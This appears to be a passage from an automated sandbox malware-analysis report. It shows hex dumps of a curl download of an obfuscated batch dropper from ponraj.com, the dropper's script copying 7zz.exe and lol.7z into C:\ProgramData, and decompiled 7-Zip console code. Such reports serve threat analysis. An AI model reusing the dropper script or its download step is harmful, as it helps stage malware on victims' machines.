2023-07-18 15:27:11 UTC	2941	IN	Data Raw: f8 ff 8d 4d cc e9 91 cd f8 ff 8d 4d d8 e9 89 cd f8 ff 8d 4d c0 e9 81 cd f8 ff 8d 4d d8 e9 79 cd f8 ff 8d 4d c0 e9 71 cd f8 ff 8d 4d 94 e9 e7 39 fb ff 8d 4d 94 e9 df 39 fb ff 8d 4d bc e9 32 d9 f8 ff 8d 4d 94 e9 cf 39 fb ff b8 28 01 48 00 e9 02 6a ff ff cc cc 8d 4d e8 e9 3d cd f8 ff 8d 4d d0 e9 35 cd f8 ff 8d 4d dc e9 2d cd f8 ff b8 a8 01 48 00 e9 de 69 ff ff cc cc 8d 4d e0 e9 19 cd f8 ff b8 e0 01 48 00 e9 ca 69 ff ff cc cc 8d 4d e8 e9 05 cd f8 ff b8 08 02 48 00 e9 b6 69 ff ff cc cc 8d 4d e8 e9 f1 cc f8 ff b8 30 02 48 00 e9 a2 69 ff ff cc cc 8d 4d e0 e9 dd cc f8 ff b8 58 02 48 00 e9 8e 69 ff ff cc cc 8d 4d e0 e9 c9 cc f8 ff b8 80 02 48 00 e9 7a 69 ff ff cc cc 8d 4d e4 e9 b5 cc f8 ff 8d 4d cc e9 ad cc f8 ff 8d 4d d8 e9 a5 cc f8 ff b8 a8 02 48 00 e9 56 69 ff Data Ascii: MMMMyMqM9M9M2M9(HjM=M5M-HiMHiMHiM0HiMXHiMHziMMMHVi
2023-07-18 15:27:11 UTC	2957	IN	Data Raw: e9 96 8d f8 ff 8d 8d 34 ff ff ff e9 8b 8d f8 ff 8d 8d 1c ff ff ff e9 80 8d f8 ff 8d 8d 04 ff ff ff e9 75 8d f8 ff 8d 8d ec fe ff ff e9 6a 8d f8 ff b8 c8 66 48 00 e9 1b 2a ff ff cc cc cc 8b 4d f0 e9 d3 f9 fa ff b8 90 67 48 00 e9 06 2a ff ff cc cc ff 75 f0 e8 cc ee f8 ff 59 c3 b8 b8 67 48 00 e9 f0 29 ff ff 8d 4d d4 e9 f7 61 fc ff b8 e0 67 48 00 e9 de 29 ff ff cc cc b8 08 68 48 00 e9 d2 29 ff ff cc cc 8d 4d e0 e9 73 45 fc ff b8 98 68 48 00 e9 be 29 ff ff cc cc 8d 8d 58 ff ff ff e9 58 40 fc ff b8 c0 68 48 00 e9 a7 29 ff ff cc cc cc b8 20 69 48 00 e9 9a 29 ff ff cc cc 8d 4d d0 e9 9f 61 fc ff b8 78 69 48 00 e9 86 29 ff ff cc cc 8d 8d 58 ff ff ff e9 20 40 fc ff b8 a0 69 48 00 e9 6f 29 ff ff cc cc cc 8d 8d c4 fe ff ff e9 08 40 fc ff 8d 8d 5c ff ff ff e9 fd 3f fc Data Ascii: 4ujfHMgHuYgH)MagH)hH)MsEhH)XX@hH) iH)MaxiH)X @iHo)@\?
2023-07-18 15:27:11 UTC	2973	IN	Data Raw: 6f 70 75 70 00 00 47 65 74 41 63 74 69 76 65 57 69 6e 64 6f 77 00 4d 65 73 73 61 67 65 42 6f 78 41 00 75 73 65 72 33 32 2e 64 6c 6c 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 36 22 47 00 3a 22 47 00 ff ff ff ff ea 22 47 00 ee 22 47 00 ff ff ff ff 6e 24 47 00 72 24 47 00 48 3a 6d 6d 3a 73 73 00 64 64 64 64 2c 20 4d 4d 4d 4d 20 64 64 2c 20 79 79 79 79 00 4d 2f 64 2f 79 79 00 00 50 4d 00 00 41 4d 00 00 44 65 63 65 6d 62 65 72 00 00 00 00 4e 6f 76 65 6d 62 65 72 00 00 00 00 4f 63 74 6f 62 65 72 00 53 65 70 74 65 6d 62 65 72 00 00 00 41 75 67 75 73 74 00 00 4a 75 6c 79 00 00 00 00 4a 75 6e 65 00 00 00 00 41 70 72 69 6c 00 00 00 4d 61 72 63 68 00 00 00 46 65 62 72 75 61 72 79 00 00 00 00 4a 61 6e 75 61 72 79 00 44 65 63 00 4e 6f 76 00 4f 63 74 00 53 65 70 00 41 Data Ascii: opupGetActiveWindowMessageBoxAuser32.dll6"G:"G"G"Gn$Gr$GH:mm:ssdddd, MMMM dd, yyyyM/d/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepA
2023-07-18 15:27:11 UTC	2989	IN	Data Raw: 00 00 3a 53 47 00 06 00 00 00 44 53 47 00 0b 00 00 00 4c 53 47 00 0b 00 00 00 54 53 47 00 06 00 00 00 5c 53 47 00 06 00 00 00 66 53 47 00 0f 00 00 00 6e 53 47 00 10 00 00 00 76 53 47 00 06 00 00 00 7e 53 47 00 06 00 00 00 88 53 47 00 13 00 00 00 90 53 47 00 14 00 00 00 98 53 47 00 14 00 00 00 a2 53 47 00 20 05 93 19 02 00 00 00 78 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff b4 53 47 00 00 00 00 00 bf 53 47 00 20 05 93 19 02 00 00 00 a8 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff d4 53 47 00 ff ff ff ff df 53 47 00 20 05 93 19 01 00 00 00 d8 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff f4 53 47 00 20 05 93 19 01 00 00 00 00 0e 48 00 00 00 00 00 00 Data Ascii: :SGDSGLSGTSG\SGfSGnSGvSG~SGSGSGSGSG xHSGSG HSGSG HSG H
2023-07-18 15:27:11 UTC	3005	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 9c 7a 47 00 20 05 93 19 06 00 00 00 28 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff b0 7a 47 00 00 00 00 00 b8 7a 47 00 01 00 00 00 c3 7a 47 00 02 00 00 00 ce 7a 47 00 03 00 00 00 d9 7a 47 00 04 00 00 00 e4 7a 47 00 20 05 93 19 02 00 00 00 78 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff f8 7a 47 00 00 00 00 00 03 7b 47 00 20 05 93 19 01 00 00 00 a8 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 18 7b 47 00 20 05 93 19 04 00 00 00 d0 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 30 7b 47 00 00 00 00 00 38 7b 47 00 01 00 00 00 43 7b 47 00 02 00 00 00 4e 7b 47 00 20 Data Ascii: zG (MHzGzGzGzGzGzG xMHzG{G MH{G MH0{G8{GC{GN{G
2023-07-18 15:27:11 UTC	3021	IN	Data Raw: 6d 70 61 72 65 46 69 6c 65 54 69 6d 65 00 bc 00 46 69 6c 65 54 69 6d 65 54 6f 53 79 73 74 65 6d 54 69 6d 65 00 00 bb 01 47 65 74 53 79 73 74 65 6d 49 6e 66 6f 00 fa 01 47 6c 6f 62 61 6c 4d 65 6d 6f 72 79 53 74 61 74 75 73 00 00 77 01 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 00 00 88 00 44 6f 73 44 61 74 65 54 69 6d 65 54 6f 46 69 6c 65 54 69 6d 65 00 ba 00 46 69 6c 65 54 69 6d 65 54 6f 44 6f 73 44 61 74 65 54 69 6d 65 00 4e 03 53 79 73 74 65 6d 54 69 6d 65 54 6f 46 69 6c 65 54 69 6d 65 00 00 be 01 47 65 74 53 79 73 74 65 6d 54 69 6d 65 00 83 03 57 61 69 74 46 6f 72 4d 75 6c 74 69 70 6c 65 4f 62 6a 65 63 74 73 00 00 73 02 4f 70 65 6e 45 76 65 6e 74 41 00 00 65 03 55 6e 6d 61 70 56 69 65 77 4f 66 46 69 6c 65 00 5e 02 4d 61 70 56 69 65 77 4f 66 46 69 Data Ascii: mpareFileTimeFileTimeToSystemTimeGetSystemInfoGlobalMemoryStatuswGetModuleHandleADosDateTimeToFileTimeFileTimeToDosDateTimeNSystemTimeToFileTimeGetSystemTimeWaitForMultipleObjectssOpenEventAeUnmapViewOfFile^MapViewOfFi
2023-07-18 15:27:11 UTC	3037	IN	Data Raw: 00 00 00 00 00 00 42 00 43 00 4a 00 32 00 00 00 00 00 00 00 00 00 e0 58 44 00 60 59 44 00 03 01 03 03 00 00 00 00 28 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 42 00 43 00 4a 00 00 00 90 5b 44 00 c0 5b 44 00 05 02 03 03 00 00 00 00 fc d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 e0 5b 44 00 00 5c 44 00 01 04 03 03 00 00 00 00 f0 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 20 5c 44 00 40 5c 44 00 01 05 03 03 00 00 00 00 e8 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 60 5c 44 00 80 5c 44 00 01 07 03 03 00 00 00 00 dc d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 a0 5c 44 00 c0 5c 44 00 05 08 03 03 00 00 00 00 d0 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 53 00 50 00 41 00 52 00 43 00 00 00 41 00 52 00 4d 00 54 00 00 00 00 00 41 00 52 00 4d 00 00 00 49 Data Ascii: BCJ2XD`YD(HBCJ[D[DH[D\DH \D@\DH`\D\DH\D\DHSPARCARMTARMI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49702	188.127.225.160	443	C:\Windows\System32\curl.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-18 15:27:12 UTC	3052	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat HTTP/1.1 Host: ponraj.com User-Agent: curl/7.55.1 Accept: /
2023-07-18 15:27:12 UTC	3052	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 18 Jul 2023 15:27:12 GMT Content-Type: application/x-msdos-program Content-Length: 787 Connection: close Last-Modified: Mon, 17 Jul 2023 12:01:17 GMT ETag: "313-600ad8e59dc47" Accept-Ranges: bytes
2023-07-18 15:27:12 UTC	3052	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 0d 0a 3a 3a 20 33 5a 36 66 36 66 73 36 66 73 73 62 0d 0a 3a 3a 20 33 5a 36 66 73 36 66 73 62 0d 0a 0d 0a 73 65 74 20 22 66 64 61 61 3d 73 65 74 20 22 0d 0a 25 66 64 61 61 25 22 63 76 62 66 67 67 64 66 67 3d 43 3a 5c 50 72 6f 67 22 0d 0a 25 66 64 61 61 25 22 69 75 69 75 69 75 69 75 69 3d 72 61 6d 44 22 0d 0a 25 66 64 61 61 25 22 6a 68 67 67 66 67 3d 61 74 61 5c 22 0d 0a 0d 0a 0d 0a 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 78 63 6f 70 79 20 2f 68 20 2f 79 20 37 7a 7a 2e 65 78 65 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 20 26 26 20 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 78 63 6f 70 79 20 2f 68 20 2f 79 20 6c 6f 6c 2e 37 7a 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 20 26 26 20 73 74 61 72 74 20 2f 62 20 2f 6d Data Ascii: @echo off:: 3Z6f6fs6fssb:: 3Z6fs6fsbset "fdaa=set "%fdaa%"cvbfggdfg=C:\Prog"%fdaa%"iuiuiuiui=ramD"%fdaa%"jhggfg=ata\"start /b /min xcopy /h /y 7zz.exe C:\ProgramData\ && start /b /min xcopy /h /y lol.7z C:\ProgramData\ && start /b /m

Statistics

High Level Behavior Distribution

Click to dive into process behavior distribution

Disassembly

Reset < >

Analysis Process: 7zz.exePID: 5920, Parent PID: 4008COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.3%
Total number of Nodes:	514
Total number of Limit Nodes:	23

Executed Functions

Function 00403A70 Relevance: 46.7, APIs: 3, Strings: 23, Instructions: 1177
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E00403A70(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t502;
				signed int _t503;
				signed char _t504;
				signed int _t507;
				signed int _t508;
				char _t517;
				signed int _t518;
				signed int _t534;
				signed int _t549;
				signed int _t554;
				signed int _t569;
				signed int _t583;
				signed int _t614;
				signed int _t625;
				signed int _t626;
				signed int _t642;
				signed int _t647;
				signed int _t648;
				intOrPtr* _t676;
				void* _t689;
				signed int _t706;
				intOrPtr* _t720;
				signed int _t725;
				void* _t729;
				signed int _t730;
				signed int _t739;
				signed int _t757;
				signed int _t764;
				signed int _t769;
				signed int _t784;
				unsigned char _t786;
				signed char _t787;
				signed int _t788;
				signed char _t792;
				signed int _t793;
				signed int _t794;
				signed int _t809;
				signed int _t812;
				signed int _t815;
				intOrPtr _t829;
				intOrPtr _t861;
				signed int _t918;
				intOrPtr _t996;
				signed int _t1065;
				signed int _t1066;
				signed int _t1068;
				signed int _t1069;
				signed int _t1070;
				signed int _t1071;
				char* _t1073;
				signed int _t1075;
				char* _t1079;
				void* _t1081;
				void* _t1083;
				void* _t1084;

				L0046B890(E00473088, _t1081);
				_t1084 = _t1083 - 0x36c;
				_push(__ebx);
				SetFileApisToOEM();
				E00405B9F(_t1081 - 0x4c);
				 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
				_t1075 = 0;
				 *(_t1081 - 4) = 0;
				L00403532(_t1081 - 0x2c, GetCommandLineW());
				_t1049 = _t1081 - 0x4c;
				 *(_t1081 - 4) = 1;
				E00406C53(_t1081 - 0x2c, _t1081 - 0x4c);
				 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
				L00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
				if( *((intOrPtr*)(_t1081 - 0x44)) != 1) {
					L004036D9(__ebx, _t1081 - 0x4c, 0, 0, 1);
					E00404C12(_t1081 - 0x2d8);
					 *(_t1081 - 4) = 3;
					E0040FEC3(_t1081 - 0x7c);
					_push(_t1081 - 0x2d8);
					_push(_t1081 - 0x4c);
					 *(_t1081 - 4) = 4;
					L0040FED1(_t1081 - 0x7c, __eflags);
					__eflags =  *((char*)(_t1081 - 0x2d8));
					if( *((char*)(_t1081 - 0x2d8)) == 0) {
						__eflags =  *((char*)(_t1081 - 0x2d7));
						if( *((char*)(_t1081 - 0x2d7)) != 0) {
							E00458600();
							L0040BF39(1);
						}
						__eflags =  *((char*)(_t1081 - 0x2d2));
						_t829 = 0x490ab0;
						if( *((char*)(_t1081 - 0x2d2)) == 0) {
							_t829 = 0x490ab8;
						}
						__eflags =  *((char*)(_t1081 - 0x2d1));
						 *0x490a80 = _t829;
						if( *((char*)(_t1081 - 0x2d1)) != 0) {
							_t1049 = 0;
							__eflags = 0;
							E004051E3(_t829, 0);
						}
						_push(_t1081 - 0x2d8); // executed
						E0041035D(_t1081 - 0x7c); // executed
						_push(0x1c);
						_t502 = L004079F2();
						 *(_t1081 - 0x14) = _t502;
						__eflags = _t502 - _t1075;
						 *(_t1081 - 4) = 6;
						if(_t502 == _t1075) {
							_t1065 = 0;
							__eflags = 0;
						} else {
							_t1065 = E00405328(_t502);
						}
						__eflags = _t1065 - _t1075;
						 *(_t1081 - 0x20) = _t1065;
						 *(_t1081 - 4) = 4;
						 *(_t1081 - 0x130) = _t1065;
						if(_t1065 != _t1075) {
							 *((intOrPtr*)( *_t1065 + 4))(_t1065);
						}
						 *(_t1081 - 4) = 7;
						_t503 = L0041741C(_t1065);
						__eflags = _t503 - _t1075;
						if(_t503 != _t1075) {
							 *(_t1081 - 0x14) = _t503;
							E0046B8F4(_t1081 - 0x14, 0x47d368);
						}
						_t504 = L0040FE22(_t1081 - 0x2b8);
						__eflags =  *(_t1065 + 0x10) - _t1075;
						 *(_t1081 - 0xd) = _t504;
						if( *(_t1065 + 0x10) == _t1075) {
							__eflags = _t504;
							if(_t504 != 0) {
								L21:
								_t812 =  *0x48aad4; // 0x48ab10
								 *(_t1081 - 0x14) = _t812;
								E0046B8F4(_t1081 - 0x14, 0x47d358);
							} else {
								__eflags =  *((intOrPtr*)(_t1081 - 0x2b8)) - 6;
								if( *((intOrPtr*)(_t1081 - 0x2b8)) == 6) {
									goto L21;
								} else {
									_t815 = L0040FE46(_t1081 - 0x2b8);
									__eflags = _t815;
									if(_t815 != 0) {
										goto L21;
									}
								}
							}
						}
						_push(4);
						L157();
						 *((intOrPtr*)(_t1081 - 0x60)) = 0x47a668;
						_push(_t1081 - 0x60);
						_push(_t1081 - 0x170);
						 *(_t1081 - 4) = 8;
						_t507 = L004176BE(_t1065);
						__eflags = _t507;
						if(_t507 == 0) {
							_t809 =  *0x48aad8; // 0x48aaf4
							 *(_t1081 - 0x14) = _t809;
							E0046B8F4(_t1081 - 0x14, 0x47d358);
						}
						__eflags =  *((intOrPtr*)(_t1081 - 0x2b8)) - 8;
						if( *((intOrPtr*)(_t1081 - 0x2b8)) != 8) {
							__eflags =  *((intOrPtr*)(_t1081 - 0x2b8)) - 7;
							if( *((intOrPtr*)(_t1081 - 0x2b8)) != 7) {
								L61:
								__eflags =  *(_t1081 - 0xd);
								if( *(_t1081 - 0xd) != 0) {
									_push(0x48);
									_t508 = L004079F2();
									 *(_t1081 - 0x14) = _t508;
									__eflags = _t508 - _t1075;
									 *(_t1081 - 4) = 0xd;
									if(_t508 == _t1075) {
										_t1066 = 0;
										__eflags = 0;
									} else {
										_t1066 = E004053AD(_t508);
									}
									__eflags = _t1066;
									 *(_t1081 - 4) = 8;
									 *(_t1081 - 0x30) = _t1066;
									if(_t1066 != 0) {
										 *((intOrPtr*)( *_t1066 + 4))(_t1066);
									}
									 *((intOrPtr*)(_t1066 + 0x40)) = _t829;
									 *((char*)(_t1066 + 0xc)) =  *((intOrPtr*)(_t1081 - 0x2a8));
									_t330 = _t1066 + 0x10; // 0x10
									 *(_t1081 - 4) = 0xe;
									E00401E26(_t330, _t1081 - 0x2a4);
									 *((intOrPtr*)(_t1066 + 0x20)) = 0;
									 *(_t1066 + 0x28) = 0;
									 *(_t1066 + 0x30) = 0;
									 *((intOrPtr*)(_t1066 + 0x38)) = 0;
									 *(_t1066 + 0x24) = 0;
									 *(_t1066 + 0x2c) = 0;
									 *(_t1066 + 0x34) = 0;
									 *((intOrPtr*)(_t1066 + 0x3c)) = 0;
									L0040347F(_t1081 - 0xc4);
									 *((char*)(_t1081 - 0xbc)) =  *((intOrPtr*)(_t1081 - 0x2a8));
									 *(_t1081 - 4) = 0xf;
									 *((intOrPtr*)(_t1081 - 0xc0)) = _t829;
									E00401E26(_t1081 - 0xb8, _t1081 - 0x2a4);
									E00404B67(_t1081 - 0xf4);
									_t517 =  *((intOrPtr*)(_t1081 - 0x2d3));
									 *(_t1081 - 4) = 0x10;
									 *((char*)(_t1081 - 0xf4)) = _t517;
									 *((char*)(_t1081 - 0xf3)) = _t517;
									_t518 = L0040FE34(_t1081 - 0x2b8);
									__eflags =  *((intOrPtr*)(_t1081 - 0x2b8)) - 3;
									 *(_t1081 - 0xec) = _t518;
									 *((char*)(_t1081 - 0xf1)) = _t518 & 0xffffff00 |  *((intOrPtr*)(_t1081 - 0x2b8)) == 0x00000003;
									 *((intOrPtr*)(_t1081 - 0xe8)) =  *((intOrPtr*)(_t1081 - 0x288));
									E00401E26(_t1081 - 0xe4, _t1081 - 0x294);
									 *((char*)(_t1081 - 0xf2)) =  *((intOrPtr*)(_t1081 - 0x2d0));
									 *((char*)(_t1081 - 0xf0)) =  *((intOrPtr*)(_t1081 - 0x297));
									E0040862D();
									_push(_t1081 - 0x25c);
									E00405BBA(_t1081 - 0xd8);
									 *((intOrPtr*)(_t1081 - 0x2c)) = 0;
									 *(_t1081 - 0x28) = 0;
									 *((intOrPtr*)(_t1081 - 0x24)) = 0;
									E00401E9A(_t1081 - 0x2c, 3);
									_push(_t1081 - 0xac);
									_push(_t1081 - 0x2c);
									_push(_t1066);
									_push(_t1081 - 0xc4);
									_push(_t1081 - 0xf4);
									_push( *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x2c0)))) + 0xc);
									 *(_t1081 - 4) = 0x11;
									_push(_t1081 - 0x270);
									_push(_t1081 - 0x284);
									_t534 = E00415D31( *(_t1081 - 0x20), _t1081 - 0x60, __eflags);
									__eflags =  *(_t1081 - 0x28);
									 *(_t1081 - 0x18) = _t534;
									if( *(_t1081 - 0x28) != 0) {
										_push( *((intOrPtr*)(_t1081 - 0x2c)));
										L00407CEC(E00407CD5(L00407CC0(_t829, 0x407ccd), "Error: "));
										__eflags =  *(_t1081 - 0x18);
										if( *(_t1081 - 0x18) == 0) {
											 *(_t1081 - 0x18) = 0x80004005;
										}
									}
									L00407CC0(_t829, 0x407ccd);
									_t536 =  *(_t1066 + 0x24);
									_t861 =  *((intOrPtr*)(_t1066 + 0x20));
									__eflags =  *(_t1066 + 0x24);
									if(__eflags > 0) {
										L121:
										L00407CC0(L00407DED(E00407CD5(_t829, "Archives: "), __eflags, _t861, _t536), 0x407ccd);
									} else {
										__eflags = _t861 - 1;
										if(__eflags > 0) {
											goto L121;
										}
									}
									__eflags =  *(_t1066 + 0x28) |  *(_t1066 + 0x2c);
									if(( *(_t1066 + 0x28) |  *(_t1066 + 0x2c)) != 0) {
										L136:
										__eflags =  *(_t1066 + 0x24);
										if( *(_t1066 + 0x24) > 0) {
											L138:
											L00407CC0(_t829, 0x407ccd);
											_t543 =  *(_t1066 + 0x28);
											_t866 =  *(_t1066 + 0x2c);
											__eflags =  *(_t1066 + 0x28) |  *(_t1066 + 0x2c);
											if(__eflags != 0) {
												L00407CC0(L00407DED(E00407CD5(_t829, "Archive Errors: "), __eflags, _t543, _t866), 0x407ccd);
											}
											_t544 =  *(_t1066 + 0x30);
											_t867 =  *(_t1066 + 0x34);
											__eflags =  *(_t1066 + 0x30) |  *(_t1066 + 0x34);
											if(__eflags != 0) {
												L00407CC0(L00407DED(E00407CD5(_t829, "Sub items Errors: "), __eflags, _t544, _t867), 0x407ccd);
											}
										} else {
											__eflags =  *((intOrPtr*)(_t1066 + 0x20)) - 1;
											if( *((intOrPtr*)(_t1066 + 0x20)) > 1) {
												goto L138;
											}
										}
										__eflags =  *(_t1081 - 0x18);
										if( *(_t1081 - 0x18) != 0) {
											 *(_t1081 - 0x14) =  *(_t1081 - 0x18);
											E0046B8F4(_t1081 - 0x14, 0x47d368);
										}
										L00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
										 *(_t1081 - 4) = 0xf;
										E00405489(_t1081 - 0xf4);
										L00407A18( *((intOrPtr*)(_t1081 - 0xb8)));
										__eflags = _t1066;
										 *(_t1081 - 4) = 8;
										if(_t1066 != 0) {
											 *((intOrPtr*)( *_t1066 + 8))(_t1066);
										}
										 *(_t1081 - 4) = 7;
										E00408604(_t1081 - 0x60);
										_t549 =  *(_t1081 - 0x20);
										 *(_t1081 - 4) = 4;
										__eflags = _t549;
										if(_t549 != 0) {
											 *((intOrPtr*)( *_t549 + 8))(_t549);
										}
										 *(_t1081 - 4) = 3;
										E00406E46(_t1081 - 0x7c);
										 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
										E00405233(_t1081 - 0x2d8, __eflags);
										 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
										 *(_t1081 - 4) = 0x12;
										goto L154;
									} else {
										__eflags =  *(_t1066 + 0x30) |  *(_t1066 + 0x34);
										if(( *(_t1066 + 0x30) |  *(_t1066 + 0x34)) != 0) {
											goto L136;
										} else {
											__eflags =  *(_t1081 - 0x18);
											if( *(_t1081 - 0x18) != 0) {
												 *(_t1081 - 0x14) =  *(_t1081 - 0x18);
												E0046B8F4(_t1081 - 0x14, 0x47d368);
											}
											_t569 =  *(_t1081 - 0x94);
											__eflags = _t569 |  *(_t1081 - 0x90);
											if(__eflags != 0) {
												L00407CC0(L00407DED(E00407CD5(_t829, "Folders: "), __eflags, _t569,  *(_t1081 - 0x90)), 0x407ccd);
												_t569 =  *(_t1081 - 0x94);
											}
											__eflags =  *((intOrPtr*)(_t1081 - 0x8c)) - 1;
											if(__eflags != 0) {
												L131:
												L00407CC0(L00407DED(E00407CD5(_t829, "Files: "), __eflags,  *((intOrPtr*)(_t1081 - 0x8c)),  *(_t1081 - 0x88)), 0x407ccd);
											} else {
												__eflags =  *(_t1081 - 0x88);
												if(__eflags != 0) {
													goto L131;
												} else {
													__eflags = _t569 |  *(_t1081 - 0x90);
													if(__eflags != 0) {
														goto L131;
													}
												}
											}
											L00407CC0(L00407DED(E00407CD5(L00407CC0(L00407DED(E00407CD5(_t829, "Size:       "), __eflags,  *((intOrPtr*)(_t1081 - 0xa4)),  *((intOrPtr*)(_t1081 - 0xa0))), 0x407ccd), "Compressed: "), __eflags,  *((intOrPtr*)(_t1081 - 0x9c)),  *((intOrPtr*)(_t1081 - 0x98))), 0x407ccd);
											__eflags =  *((char*)(_t1081 - 0x297));
											if( *((char*)(_t1081 - 0x297)) != 0) {
												L00407759( *((intOrPtr*)(_t1081 - 0x84)), _t1081 - 0x12c);
												L00407CC0(E00407CD5(E00407CD5(_t829, "CRC: "), _t1081 - 0x12c), 0x407ccd);
											}
											L00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
											 *(_t1081 - 4) = 0xf;
											E00405489(_t1081 - 0xf4);
											L00407A18( *((intOrPtr*)(_t1081 - 0xb8)));
											__eflags = _t1066;
											 *(_t1081 - 4) = 8;
											if(_t1066 != 0) {
												 *((intOrPtr*)( *_t1066 + 8))(_t1066);
											}
											goto L107;
										}
									}
									goto L110;
								} else {
									__eflags =  *((intOrPtr*)(_t1081 - 0x2b8)) - 6;
									if(__eflags == 0) {
										_push(_t1081 - 0x34);
										_push(_t1081 - 0x2a4);
										_push(_t1081 - 0x2a8);
										 *(_t1081 - 0x34) = _t1075;
										_push( *((intOrPtr*)(_t1081 - 0x298)));
										 *(_t1081 - 0x30) = _t1075;
										_push( *((intOrPtr*)(_t1081 - 0x2d1)));
										_t918 = _t1065;
										_push( *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x2c0)))) + 0xc);
										_push(_t1081 - 0x270);
										_push(_t1081 - 0x284);
										_push( *((intOrPtr*)(_t1081 - 0x2d3)));
										_t614 = E0040279E(_t918, _t1081 - 0x60, __eflags);
										__eflags =  *(_t1081 - 0x30) - _t1075;
										if(__eflags > 0) {
											L151:
											L00407DED(E00407CD5(L00407CC0(0x490ab8, 0x407ccd), "Errors: "), __eflags,  *(_t1081 - 0x34),  *(_t1081 - 0x30));
											 *(_t1081 - 4) = 7;
											E00408604(_t1081 - 0x60);
											__eflags = _t1065 - _t1075;
											 *(_t1081 - 4) = 4;
											if(_t1065 != _t1075) {
												 *((intOrPtr*)( *_t1065 + 8))(_t1065);
											}
											 *(_t1081 - 4) = 3;
											E00406E46(_t1081 - 0x7c);
											_t471 = _t1081 - 4;
											 *_t471 =  *(_t1081 - 4) & 0x00000000;
											__eflags =  *_t471;
											E00405233(_t1081 - 0x2d8,  *_t471);
											 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
											 *(_t1081 - 4) = 0x13;
											goto L154;
										} else {
											__eflags =  *(_t1081 - 0x34) - _t1075;
											if(__eflags <= 0) {
												__eflags = _t614 - _t1075;
												if(_t614 == _t1075) {
													goto L107;
												} else {
													 *(_t1081 - 0x14) = _t614;
													E0046B8F4(_t1081 - 0x14, 0x47d368);
													_t625 = _t918;
													__eflags = 0;
													 *((intOrPtr*)(_t625 + 4)) = 0;
													 *((intOrPtr*)(_t625 + 8)) = 0;
													 *((intOrPtr*)(_t625 + 0xc)) = 0;
													 *((intOrPtr*)(_t625 + 0x10)) =  *((intOrPtr*)(_t1084 + 4));
													 *_t625 = 0x47a670;
													return _t625;
												}
											} else {
												goto L151;
											}
										}
									} else {
										_t626 = L0040FE46(_t1081 - 0x2b8);
										__eflags = _t626;
										if(_t626 == 0) {
											E0040519B(_t829);
											goto L107;
										} else {
											__eflags =  *((char*)(_t1081 - 0x1c0));
											if( *((char*)(_t1081 - 0x1c0)) != 0) {
												__eflags =  *((intOrPtr*)(_t1081 - 0x1b8)) - _t1075;
												if( *((intOrPtr*)(_t1081 - 0x1b8)) == _t1075) {
													L00403593(_t1081 - 0x1bc,  *0x48aadc);
												}
											}
											L0040347F(_t1081 - 0x148);
											__eflags =  *((char*)(_t1081 - 0x2a8));
											 *(_t1081 - 4) = 0x14;
											 *((intOrPtr*)(_t1081 - 0x144)) = _t829;
											if( *((char*)(_t1081 - 0x2a8)) == 0) {
												L70:
												_t179 = _t1081 - 0xd;
												 *_t179 =  *(_t1081 - 0xd) & 0x00000000;
												__eflags =  *_t179;
											} else {
												__eflags =  *((intOrPtr*)(_t1081 - 0x2a0)) - _t1075;
												if( *((intOrPtr*)(_t1081 - 0x2a0)) == _t1075) {
													goto L70;
												} else {
													 *(_t1081 - 0xd) = 1;
												}
											}
											 *((char*)(_t1081 - 0x140)) =  *(_t1081 - 0xd);
											E00401E26(_t1081 - 0x13c, _t1081 - 0x2a4);
											E0040502A(_t1081 - 0x378);
											__eflags =  *((char*)(_t1081 - 0x2a8));
											 *((char*)(_t1081 - 0x340)) =  *((intOrPtr*)(_t1081 - 0x164));
											 *(_t1081 - 4) = 0x15;
											 *((char*)(_t1081 - 0x33e)) =  *(_t1081 - 0xd);
											if( *((char*)(_t1081 - 0x2a8)) == 0) {
												L74:
												_t194 = _t1081 - 0x330;
												 *_t194 =  *(_t1081 - 0x330) & 0x00000000;
												__eflags =  *_t194;
											} else {
